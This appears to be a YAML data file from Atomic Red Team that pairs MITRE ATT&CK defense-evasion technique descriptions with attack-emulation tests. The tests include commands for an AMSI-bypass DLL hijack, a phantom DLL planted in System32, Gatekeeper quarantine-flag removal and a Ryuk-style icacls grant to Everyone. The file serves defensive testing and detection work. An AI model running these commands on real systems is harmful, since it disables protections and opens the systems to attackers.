        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN
      - source_name: Microsoft Manifests
        description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
        url: https://msdn.microsoft.com/en-US/library/aa375365
      - source_name: FireEye DLL Search Order Hijacking
        description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking
          Revisited. Retrieved March 13, 2020.
        url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html
      - source_name: OWASP Binary Planting
        description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
          2016.
        url: https://www.owasp.org/index.php/Binary_planting
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1574.001
    atomic_tests:
    - name: DLL Search Order Hijacking - amsi.dll
      auto_generated_guid: 8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3
      description: |
        Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
        https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

        Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.
      supported_platforms:
      - windows
      executor:
        command: |
          copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe
          copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
          %APPDATA%\updater.exe -Command exit
        cleanup_command: |
          del %APPDATA%\updater.exe >nul 2>&1
          del %APPDATA%\amsi.dll >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Phantom Dll Hijacking - WinAppXRT.dll
      auto_generated_guid: 46ed938b-c617-429a-88dc-d49b5c9ffedb
      description: ".NET components (a couple of DLLs loaded anytime .NET apps are
        executed) when they are loaded they look for an environment variable called
        APPX_PROCESS\nSetting the environmental variable and dropping the phantom
        WinAppXRT.dll in e.g. c:\\windows\\system32 (or any other location accessible
        via PATH) will ensure the \nWinAppXRT.dll is loaded everytime user launches
        an application using .NET.\n\nUpon successful execution, amsi.dll will be
        copied and renamed to WinAppXRT.dll and then WinAppXRT.dll will be copied
        to system32 folder for loading during execution of any .NET application.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
          ren %APPDATA%\amsi.dll WinAppXRT.dll
          copy %APPDATA%\WinAppXRT.dll %windir%\System32\WinAppXRT.dll
          reg add "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /t REG_EXPAND_SZ /d "1" /f
        cleanup_command: |
          reg delete "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /f
          del %windir%\System32\WinAppXRT.dll
          del %APPDATA%\WinAppXRT.dll
        name: command_prompt
        elevation_required: true
  T1553.001:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: 'Subvert Trust Controls: Gatekeeper Bypass'
      description: |-
        Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )

        Based on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:

        1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)

        2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.

        3. Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID.

        4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an “unauthorized app” and the security policy will be modified.

        Adversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)

        Applications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: "The removal of the <code>com.apple.quarantine</code> flag
        by a user instead of the operating system is a suspicious action and should
        be examined further. Monitor and investigate attempts to modify extended file
        attributes with utilities such as <code>xattr</code>. Built-in system utilities
        may generate high false positive alerts, so compare against baseline knowledge
        for how systems are typically used and correlate modification events with
        other indications of malicious activity where possible. Monitor software update
        frameworks that strip the <code>com.apple.quarantine</code> flag when performing
        updates. \n\nReview <code>false</code> values under the <code>LSFileQuarantineEnabled</code>
        entry in an application's <code>Info.plist</code> file (required by every
        application). <code>false</code> under <code>LSFileQuarantineEnabled</code>
        indicates that an application does not use the quarantine flag. Unsandboxed
        applications with an unspecified <code>LSFileQuarantineEnabled</code> entry
        will default to not setting the quarantine flag. \n\nQuarantineEvents is a
        SQLite database containing a list of all files assigned the <code>com.apple.quarantine</code>
        attribute, located at <code>~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2</code>.
        Each event contains the corresponding UUID, timestamp, application, Gatekeeper
        score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine
        and the flag)"
      x_mitre_platforms:
      - macOS
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.2'
      x_mitre_contributors:
      - Brandon Dalton @PartyD0lphin
      - Swasti Bhushan Deb, IBM India Pvt. Ltd.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'File: File Modification'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application Control
      type: attack-pattern
      id: attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e
      created: '2020-02-05T16:16:08.471Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1553/001
        external_id: T1553.001
      - source_name: Application Bundle Manipulation Brandon Dalton
        description: 'Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking
          macOS security controls to thwart application bundle manipulation. Retrieved
          September 27, 2022.'
        url: https://redcanary.com/blog/mac-application-bundles/
      - source_name: theevilbit gatekeeper bypass 2021
        description: Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again).
          Retrieved September 22, 2021.
        url: https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/
      - source_name: OceanLotus for OS X
        description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
          Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
        url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
      - source_name: TheEclecticLightCompany Quarantine and the flag
        description: hoakley. (2020, October 29). Quarantine and the quarantine flag.
          Retrieved September 13, 2021.
        url: https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/
      - source_name: 'TheEclecticLightCompany apple notarization '
        description: How Notarization Works. (2020, August 28). How notarization works.
          Retrieved September 13, 2021.
        url: https://eclecticlight.co/2020/08/28/how-notarization-works/
      - source_name: 20 macOS Common Tools and Techniques
        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
        url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1553.001
    atomic_tests:
    - name: Gatekeeper Bypass
      auto_generated_guid: fb3d46c6-9480-4803-8d7d-ce676e1f1a9b
      description: 'Gatekeeper Bypass via command line

        '
      supported_platforms:
      - macos
      input_arguments:
        app_path:
          description: Path to app to be used
          type: path
          default: myapp.app
      executor:
        command: 'sudo xattr -d com.apple.quarantine #{app_path}

          '
        elevation_required: true
        name: sh
  T1553.002:
    technique:
      modified: '2022-09-22T19:13:52.548Z'
      name: Code Signing
      description: "Adversaries may create, acquire, or steal code signing materials
        to sign their malware or tools. Code signing provides a level of authenticity
        on a binary from the developer and a guarantee that the binary has not been
        tampered with. (Citation: Wikipedia Code Signing) The certificates used during
        an operation may be created, acquired, or stolen by the adversary. (Citation:
        Securelist Digital Certificates) (Citation: Symantec Digital Certificates)
        Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001),
        this activity will result in a valid signature.\n\nCode signing to verify
        software on first run can be used on modern Windows and macOS systems. It
        is not used on Linux due to the decentralized nature of the platform. (Citation:
        Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode
        signing certificates may be used to bypass security policies that require
        signed code to execute on a system. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Collect and analyze signing certificate metadata on software
        that executes within the environment to look for unusual certificate characteristics
        and outliers.
      x_mitre_platforms:
      - macOS
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Metadata'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      type: attack-pattern
      id: attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082
      created: '2020-02-05T16:27:37.784Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1553/002
        external_id: T1553.002
      - source_name: EclecticLightChecksonEXECodeSigning
        description: 'Howard Oakley. (2020, November 16). Checks on executable code
          in Catalina and Big Sur: a first draft. Retrieved September 21, 2022.'
        url: https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/
      - source_name: Securelist Digital Certificates
        description: Ladikov, A. (2015, January 29). Why You Shouldn’t Completely
          Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.
        url: https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
      - source_name: Symantec Digital Certificates
        description: Shinotsuka, H. (2013, February 22). How Attackers Steal Private
          Keys from Digital Certificates. Retrieved March 31, 2016.
        url: http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
      - source_name: Wikipedia Code Signing
        description: Wikipedia. (2015, November 10). Code Signing. Retrieved March
          31, 2016.
        url: https://en.wikipedia.org/wiki/Code_signing
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1036.009:
    technique:
      modified: '2023-10-03T04:06:42.256Z'
      name: Break Process Trees
      description: "An adversary may attempt to evade process tree-based analysis
        by modifying executed malware's parent process ID (PPID). If endpoint protection
        software leverages the “parent-child\" relationship for detection, breaking
        this relationship could result in the adversary’s behavior not being associated
        with previous process tree activity. On Unix-based systems breaking this process
        tree is common practice for administrators to execute software using scripts
        and programs.(Citation: 3OHA double-fork 2022) \n\nOn Linux systems, adversaries
        may execute a series of [Native API](https://attack.mitre.org/techniques/T1106)
        calls to alter malware's process tree. For example, adversaries can execute
        their payload without any arguments, call the `fork()` API call twice, then
        have the parent process exit. This creates a grandchild process with no parent
        process that is immediately adopted by the `init` system process (PID 1),
        which successfully disconnects the execution of the adversary's payload from
        its previous process tree.\n\nAnother example is using the “daemon” syscall
        to detach from the current parent process and run in the background.(Citation:
        Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Tim (Wadhwa-)Brown
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--34a80bc4-80f2-46e6-94ff-f3265a4b657c
      created: '2023-09-27T19:49:40.815Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1036/009
        external_id: T1036.009
      - source_name: 3OHA double-fork 2022
        description: Juan Tapiador. (2022, April 11). UNIX daemonization and the double
          fork. Retrieved September 29, 2023.
        url: https://0xjet.github.io/3OHA/2022/04/11/post.html
      - source_name: Microsoft XorDdos Linux Stealth 2022
        description: 'Microsoft Threat Intelligence. (2022, May 19). Rise in XorDdos:
          A deeper look at the stealthy DDoS malware targeting Linux devices. Retrieved
          September 27, 2023.'
        url: https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/
      - source_name: Sandfly BPFDoor 2022
        description: The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive
          Linux Backdoor Technical Analysis. Retrieved September 29, 2023.
        url: https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1222.001:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'File and Directory Permissions Modification: Windows File and Directory
        Permissions Modification'
      description: |-
        Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

        Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)

        Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.

        Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Modification'
      - 'Process: Process Creation'
      - 'File: File Metadata'
      type: attack-pattern
      id: attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee
      created: '2020-02-04T19:17:41.767Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1222/001
        external_id: T1222.001
      - source_name: Hybrid Analysis Icacls1 June 2018
        description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe.
          Retrieved August 19, 2018.
        url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
      - source_name: Hybrid Analysis Icacls2 May 2018
        description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll.
          Retrieved August 19, 2018.
        url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
      - source_name: Microsoft Access Control Lists May 2018
        description: M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved
          February 4, 2020.
        url: https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists
      - source_name: Microsoft DACL May 2018
        description: Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19,
          2018.
        url: https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces
      - source_name: EventTracker File Permissions Feb 2014
        description: Netsurion. (2014, February 19). Monitoring File Permission Changes
          with the Windows Security Log. Retrieved August 19, 2018.
        url: https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1222.001
    atomic_tests:
    - name: Take ownership using takeown utility
      auto_generated_guid: 98d34bb4-6e75-42ad-9c41-1dae7dc6a001
      description: |
        Modifies the filesystem permissions of the specified file or folder to take ownership of the object. Upon execution, "SUCCESS" will
        be displayed for the folder and each file inside of it.
      supported_platforms:
      - windows
      input_arguments:
        file_folder_to_own:
          description: Path of the file or folder for takeown to take ownership.
          type: path
          default: "%temp%\\T1222.001_takeown_folder"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'Test requrires a file to take ownership of to be located at
          (#{file_folder_to_own})

          '
        prereq_command: 'IF EXIST #{file_folder_to_own} ( EXIT 0 ) ELSE ( EXIT 1 )

          '
        get_prereq_command: |
          mkdir #{file_folder_to_own}
          echo T1222.001_takeown1 >> #{file_folder_to_own}\T1222.001_takeown1.txt
          echo T1222.001_takeown2 >> #{file_folder_to_own}\T1222.001_takeown2.txt
      executor:
        command: 'takeown.exe /f #{file_folder_to_own} /r

          '
        name: command_prompt
    - name: cacls - Grant permission to specified user or group recursively
      auto_generated_guid: a8206bcc-f282-40a9-a389-05d9c0263485
      description: |
        Modifies the filesystem permissions of the specified folder and contents to allow the specified user or group Full Control. If "Access is denied"
        is displayed it may be because the file or folder doesn't exit. Run the prereq command to create it. Upon successfull execution, "Successfully processed 3 files"
        will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        file_or_folder:
          description: Path of the file or folder to change permissions.
          type: path
          default: "%temp%\\T1222.001_cacls"
        user_or_group:
          description: User or group to allow full control
          type: string
          default: Everyone
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'Test requrires a file to modify to be located at (#{file_or_folder})

          '
        prereq_command: 'IF EXIST #{file_or_folder} ( EXIT 0 ) ELSE ( EXIT 1 )

          '
        get_prereq_command: |
          mkdir #{file_or_folder}
          echo T1222.001_cacls1 >> #{file_or_folder}\T1222.001_cacls1.txt
          echo T1222.001_cacls2 >> #{file_or_folder}\T1222.001_cacls2.txt
      executor:
        command: 'icacls.exe #{file_or_folder} /grant #{user_or_group}:F

          '
        name: command_prompt
    - name: attrib - Remove read-only attribute
      auto_generated_guid: bec1e95c-83aa-492e-ab77-60c71bbd21b0
      description: |
        Removes the read-only attribute from a file or folder using the attrib.exe command. Upon execution, no output will be displayed.
        Open the file in File Explorer > Right Click - Prperties and observe that the Read Only checkbox is empty.
      supported_platforms:
      - windows
      input_arguments:
        file_or_folder:
          description: Path of the file or folder remove attribute.
          type: path
          default: "%temp%\\T1222.001_attrib"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'Test requrires a file to modify to be located at (#{file_or_folder})

          '
        prereq_command: 'IF EXIST #{file_or_folder} ( EXIT 0 ) ELSE ( EXIT 1 )

          '
        get_prereq_command: |
          mkdir #{file_or_folder}
          echo T1222.001_attrib1 >> #{file_or_folder}\T1222.001_attrib1.txt
          echo T1222.001_attrib2 >> #{file_or_folder}\T1222.001_attrib2.txt
          attrib.exe +r #{file_or_folder}\T1222.001_attrib1.txt
          attrib.exe +r #{file_or_folder}\T1222.001_attrib2.txt
      executor:
        command: 'attrib.exe -r #{file_or_folder}\*.* /s

          '
        name: command_prompt
    - name: attrib - hide file
      auto_generated_guid: 32b979da-7b68-42c9-9a99-0e39900fc36c
      description: |
        Attackers leverage an existing Windows binary, attrib.exe, to mark specific files or folder as hidden by using specific flags so that
        the victim does not see the file.
      supported_platforms:
      - windows
      input_arguments:
        file_or_folder:
          description: Path of the files to hide.
          type: path
          default: "%temp%\\T1222.001_attrib_2"
      executor:
        command: |
          mkdir #{file_or_folder} >nul 2>&1
          echo T1222.001_attrib1 >> #{file_or_folder}\T1222.001_attrib1.txt
          echo T1222.001_attrib2 >> #{file_or_folder}\T1222.001_attrib2.txt
          attrib.exe +h #{file_or_folder}\T1222.001_attrib1.txt
          attrib.exe +h #{file_or_folder}\T1222.001_attrib2.txt
        cleanup_command: 'del /A:H #{file_or_folder}\T1222.001_attrib*.txt >nul 2>&1

          '
        name: command_prompt
    - name: Grant Full Access to folder for Everyone - Ryuk Ransomware Style
      auto_generated_guid: ac7e6118-473d-41ec-9ac0-ef4f1d1ed2f6
      description: |
        Invokes the command line similar to that used by Ryuk Ransomware to grant full access to the entire C:\ drive for Everyone.
        **icacls "C:\*" /grant Everyone:F /T /C /Q**
        However, for this atomic we set the permission on C:\Users\Public so it completes faster and doesn't irreversibly affect the host.
        You can set your own path variable to "C:\*" if you prefer.
      supported_platforms:
      - windows
      input_arguments:
        path:
          description: Path of folder to recursively set permissions on
          type: path
          default: C:\Users\Public\*
        file_path:
          description: Path of folder permission back
          type: path
          default: "%temp%\\T1222.001-folder-perms-backup.txt"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'Backup of original folder permissions should exist (for use
          in cleanup commands)

          '
        prereq_command: 'IF EXIST #{file_path} ( EXIT 0 ) ELSE ( EXIT 1 )

          '
        get_prereq_command: 'icacls #{path} /save #{file_path} /t /q >nul 2>&1

          '
      executor:
        command: icacls "#{path}" /grant Everyone:F /T /C /Q
        cleanup_command: 'icacls ''#{path}'' /restore #{file_path} /q >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
  T1574.014:
    technique:
      modified: '2024-04-18T15:03:32.158Z'
      name: AppDomainManager
      description: "Adversaries may execute their own malicious payloads by hijacking
        how the .NET `AppDomainManager` loads assemblies. The .NET framework uses
        the `AppDomainManager` class to create and manage one or more isolated runtime
        environments (called application domains) inside a process to host the execution
        of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run
        as .NET code) may be loaded into an application domain as executable code.(Citation:
        Microsoft App Domains) \n\nKnown as \"AppDomainManager injection,\" adversaries
        may execute arbitrary code by hijacking how .NET applications load assemblies.
        For example, malware may create a custom application domain inside a target
        process to load and execute an arbitrary assembly. Alternatively, configuration
        files (`.config`) or process environment variables that define .NET runtime
        settings may be tampered with to instruct otherwise benign .NET applications
        to load a malicious assembly (identified by name) into the target process.(Citation:
        PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation:
        Rapid7 AppDomain Manager Injection)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Thomas B
      - Ivy Bostock
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'File: File Creation'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8
      created: '2024-03-28T15:36:34.141Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/014
        external_id: T1574.014
      - source_name: PenTestLabs AppDomainManagerInject
        description: Administrator. (2020, May 26). APPDOMAINMANAGER INJECTION AND
          DETECTION. Retrieved March 28, 2024.
        url: https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/
      - source_name: Microsoft App Domains
        description: Microsoft. (2021, September 15). Application domains. Retrieved
          March 28, 2024.
        url: https://learn.microsoft.com/dotnet/framework/app-domains/application-domains
      - source_name: PwC Yellow Liderc
        description: PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships
          its scripts and delivers IMAPLoader malware. Retrieved March 29, 2024.
        url: https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html
      - source_name: Rapid7 AppDomain Manager Injection
        description: 'Spagnola, N. (2023, May 5). AppDomain Manager Injection: New
          Techniques For Red Teams. Retrieved March 29, 2024.'
        url: https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1218.007:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Ziv Kaspersky, Cymptom
      - Alexandros Pappas
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336
      created: '2020-01-24T14:38:49.266Z'
      x_mitre_version: '2.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1218.007
        url: https://attack.mitre.org/techniques/T1218/007
      - source_name: TrendMicro Msiexec Feb 2018
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/
        description: Co, M. and Sison, G. (2018, February 8). Attack Using Windows
          Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.
      - source_name: LOLBAS Msiexec
        url: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/
        description: LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.
      - source_name: Microsoft msiexec
        url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec
        description: Microsoft. (2017, October 15). msiexec. Retrieved January 24,
          2020.
      - source_name: Microsoft AlwaysInstallElevated 2018
        url: https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated
        description: Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December
          14, 2020.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.

        Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Signed Binary Proxy Execution: Msiexec'
      x_mitre_detection: Use process monitoring to monitor the execution and arguments
        of msiexec.exe. Compare recent invocations of msiexec.exe with prior history
        of known good arguments and executed MSI files or DLLs to determine anomalous
        and potentially adversarial activity. Command arguments used before and after
        the invocation of msiexec.exe may also be useful in determining the origin
        and purpose of the MSI files or DLLs being executed.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: true
